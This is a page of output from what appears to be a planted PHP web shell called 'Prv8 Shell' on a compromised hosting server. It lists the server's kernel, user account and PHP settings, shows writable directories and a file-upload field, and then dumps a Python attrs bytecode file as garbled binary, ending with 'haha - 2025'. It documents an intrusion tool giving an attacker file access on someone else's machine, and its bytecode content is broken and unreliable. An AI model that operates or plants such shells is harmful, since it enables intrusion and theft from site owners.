Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /proc/17567/root/usr/local/lib/python3.6/site-packages/attr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/17567/root/usr/local/lib/python3.6/site-packages/attr/__pycache__/setters.cpython-36.pyc
3

H�Kdx�@sFdZddlmZddlmZdd�Zdd�Zdd	�Zd
d�Ze	�Z
dS)
z%
Commonly used hooks for on_setattr.
�)�_config)�FrozenAttributeErrorcs�fdd�}|S)zf
    Run all *setters* and return the return value of the last one.

    .. versionadded:: 20.1.0
    cs"|}x�D]}||||�}q
W|S)N�)�instance�attrib�	new_value�rv�setter)�settersr�-/tmp/pip-build-8nxjc3nm/attrs/attr/setters.py�wrapped_pipes
zpipe.<locals>.wrapped_piper)r
rr)r
r�pipesr
cCs
t��dS)zL
    Prevent an attribute to be modified.

    .. versionadded:: 20.1.0
    N)r)�_�__Z___rrr�frozensrcCs,tjdkr|S|j}|s|S||||�|S)z^
    Run *attrib*'s validator on *new_value* if it has one.

    .. versionadded:: 20.1.0
    F)rZ_run_validatorsZ	validator)rrr�vrrr�validate's
rcCs|j}|r||�S|S)z
    Run *attrib*'s converter -- if it has one --  on *new_value* and return the
    result.

    .. versionadded:: 20.1.0
    )�	converter)rrr�crrr�convert9srN)�__doc__�r�
exceptionsrr
rrr�objectZNO_OPrrrr�<module>s	

haha - 2025